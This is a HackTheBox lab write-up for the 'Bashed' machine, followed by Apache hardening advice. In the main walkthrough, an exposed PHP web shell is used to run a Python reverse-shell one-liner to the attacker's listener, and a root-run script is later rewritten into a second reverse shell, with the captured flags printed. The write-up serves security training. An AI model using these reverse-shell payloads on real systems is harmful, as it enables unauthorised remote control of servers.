Bashed Writeup

Bashed is a retired HackTheBox machine, rated easy and rightfully. We’ll start by finding a hidden web shell to quickly gaining root level access due to misconfigured permissions to users.

Vulnerability Exploited: CWE-553: Command Shell in Externally Accessible Directory

System Vulnerable: 10.10.10.68

Vulnerability Explanation: A php webshell is exposed to external, and can be used by an attacker to execute commands on the web server.

Vulnerability Fix: Remove any Shells accessible under the web root folder and children directories. Therefore, disable the directory listing.

Privilege Escalation Vulnerability: Misconfiguring permissions can lead to disastrous consequences.

Vulnerability Fix: The system administrator should have conformed to the principle of least privilege and the concept of separation of privileges.

Severity: Critical

An initial nmap scan revealed a 80/tcp port with an Apache httpd 2.4.18 as the following:

┌──(root💀kali)-[/root/CTF/htb/linux/bashed]
└─# cat nmap/initial 
# Nmap 7.92 scan initiated Sun Oct  2 18:09:55 2022 as: nmap -sC -sV -v -oN nmap/initial 10.10.10.68
Nmap scan report for 10.10.10.68
Host is up (0.48s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 6AA5034A553DFA77C3B2C7B4C26CF870
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Arrexel's Development Site

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct  2 18:10:20 2022 -- 1 IP address (1 host up) scanned in 25.79 seconds

80/tcp (HTTP)

Intial page located on http://10.10.10.68/ doesn't reveal anything interesting.

Fuzzing the website using feroxbuster result many sensitive directories as the follow:

┌──(root💀kali)-[/root/CTF/htb/linux/bashed]
└─# feroxbuster -u http://10.10.10.68/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -n -x html -o feroxbuster/initial              1 ⨯

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.10.68/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💾  Output File           │ feroxbuster/initial
 💲  Extensions            │ [html]
 🏁  HTTP methods          │ [GET]
 🚫  Do Not Recurse        │ true
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      161l      397w     7743c http://10.10.10.68/
301      GET        9l       28w      311c http://10.10.10.68/images => http://10.10.10.68/images/
301      GET        9l       28w      307c http://10.10.10.68/js => http://10.10.10.68/js/
301      GET        9l       28w      308c http://10.10.10.68/css => http://10.10.10.68/css/
403      GET       11l       32w      291c http://10.10.10.68/.html
301      GET        9l       28w      312c http://10.10.10.68/uploads => http://10.10.10.68/uploads/
301      GET        9l       28w      308c http://10.10.10.68/dev => http://10.10.10.68/dev/
200      GET      154l      547w     8193c http://10.10.10.68/about.html
301      GET        9l       28w      308c http://10.10.10.68/php => http://10.10.10.68/php/
200      GET      156l      456w     7805c http://10.10.10.68/contact.html
200      GET      161l      397w     7743c http://10.10.10.68/index.html
301      GET        9l       28w      310c http://10.10.10.68/fonts => http://10.10.10.68/fonts/
200      GET      195l      678w    10863c http://10.10.10.68/scroll.html
403      GET       11l       32w      299c http://10.10.10.68/server-status
200      GET      154l      394w     7477c http://10.10.10.68/single.html

A sender mail is exposed on the following path: http://10.10.10.68/php/

A php webshell is exposed on the following path: http://10.10.10.68/dev/

We can run any command using this webshell:

In this stage, launch a local nc listener and runt the following payload on the remote machine (on the webshell).

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.7",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

A reverse shell is received with the user www-data

┌──(root💀kali)-[/root/CTF/htb/linux/bashed]
└─# nc -nvlp 9001                                                                                                                                              1 ⨯
listening on [any] 9001 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.68] 35502
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ 

To make the bash more readable, using python we can spawn a shell as the following

$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@bashed:/home/arrexel$

Proof - User

www-data@bashed:/home/arrexel$ cat user.txt & hostname && whoami && ip a
cat user.txt & hostname && whoami && ip a
[1] 1114
02096e084bb8dd4c09c9904f34c3f9a6
bashed
www-data
[1]+  Done                    cat user.txt
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:b9:e6:8a brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.68/32 brd 10.10.10.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:e68a/64 scope global mngtmpaddr dynamic 
       valid_lft 86397sec preferred_lft 14397sec
    inet6 fe80::250:56ff:feb9:e68a/64 scope link 
       valid_lft forever preferred_lft forever
www-data@bashed:/home/arrexel$ 

Privilege escalation (1)

Run sudo -l to list all the allowed command for the www-data user.

www-data@bashed:/home/arrexel$ sudo -l
sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

The user www-data can execute any command on bash using scriptmanager user. To escalate for this use, all we need is to run the following command:

www-data@bashed:/home/arrexel$ sudo -u scriptmanager bash
sudo -u scriptmanager bash
scriptmanager@bashed:/home/arrexel$ whoami
whoami
scriptmanager

Privilege escalation (2)

On the root folder '\' , there is a non ordinaly exist folder called scripts, which contains two files as the following:

scriptmanager@bashed:/scripts$ ls -la
ls -la
total 16
drwxrwxr--  2 scriptmanager scriptmanager 4096 Jun  2 07:19 .
drwxr-xr-x 23 root          root          4096 Jun  2 07:25 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Oct  2 10:43 test.txt

As a scriptmanager user, we can modify the content of ŧest.py file as the follow:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.16.7",9002))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

Before modify the content of the test.py launch a local nc listener using the same parameter mentioned on the modified python file.

A reverse shell is received as the root user.

┌──(root💀kali)-[/root/CTF/htb/linux/bashed]
└─# nc -nvlp 9002
listening on [any] 9002 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.68] 41742
/bin/sh: 0: can't access tty; job control turned off
# whoami
root

To make the bash more readable, using python we can spawn a shell as the following

#python -c 'import pty;pty.spawn("/bin/bash")'
root@bashed:/scripts# 

Proof - Root

root@bashed:~# cat root.txt && hostname && whoami && ip a
cat root.txt && hostname && whoami && ip a
805f7178216a84c0963bce2a2ed3b056
bashed
root
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:b9:e6:8a brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.68/32 brd 10.10.10.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:e68a/64 scope global mngtmpaddr dynamic 
       valid_lft 86400sec preferred_lft 14400sec
    inet6 fe80::250:56ff:feb9:e68a/64 scope link 
       valid_lft forever preferred_lft forever
root@bashed:~# 

Hardening Tips

Apache Server Harding

Hide Apache Version and Operating System

On the /etc/apache2/conf-enabled/security.conf modify or Add the two following lines:

ServerSignature Off
ServerTokens Prod

Then reload Apache:

sudo systemctl reload apache2

The nmap result becomes:

┌──(root💀kali)-[/root/CTF/htb/linux/bashed]
└─# nmap -sC -sV -p80 10.10.10.68 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-02 19:14 CET
Nmap scan report for 10.10.10.68
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd
|_http-title: Arrexel's Development Site
|_http-server-header: Apache

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.72 seconds

Edit the config file /etc/apache2/apache2.conf by putting "-" before each tag directive in the line Options Indexes FollowSymLinks to become Options -Indexes -FollowSymLinks. As the follow:

<Directory /var/www/>
	Options -Indexes -FollowSymLinks
	AllowOverride None
	Require all granted
</Directory>

This response from the server on the current machine becomes:

Forbidden

You don't have permission to access /dev/ on this server.

Secure Apache using mod_security and mod_evasive Modules

  1. Mod_security Acts as a firewall for web servers and applications, providing protection against brute force attacks. Install it and then restart Apache.

$ sudo apt install libapache2-mod-security2 -y
$ sudo systemctl restart apache2
  1. Mod_evasive Detects and provides protection against DDOS and HTTP brute force attacks. It detects attacks whenever: so many requests are directed to a page several times per second; temporarily blacklisted IP still tries to make a new request; child process attempts making more than 50 concurrent requests. Install and restart Apache.

$ sudo apt install libapache2-mod-evasive -y
$ sudo systemctl restart apache2

Limit Request Size

By default, the HTTP request in Apache is unlimited hence web server is susceptible to DoS attacks by keeping it open for a high number of request. For example, there is a site that allows users to upload files, then it’s important to set a limit for upload size. This can be done by setting the LimitRequestBody for that particular upload directory as follows:

<Directory "/var/www/html/wp_content/uploads">
LimitRequestBody 10485760
</Directory>

Disable TRACE HTTP Request

By default, Trace HTTP Request is enabled allowing for Cross Site Tracing. This enables a hacker to easily steal cookie information. Disabling Trace HTTP Request makes the mod_proxy and core server return “ 405 - Method Not Allowed error message to clients. Trace request is disabled by adding the line TraceEnable off in the config file /etc/apache2/apache2.conf Save the file and reload the apache service.

$ sudo systemctl restart apache2

Conclusion

The enlisted 5 steps are the most basic security protection features to implement in your Apache web server.

Last updated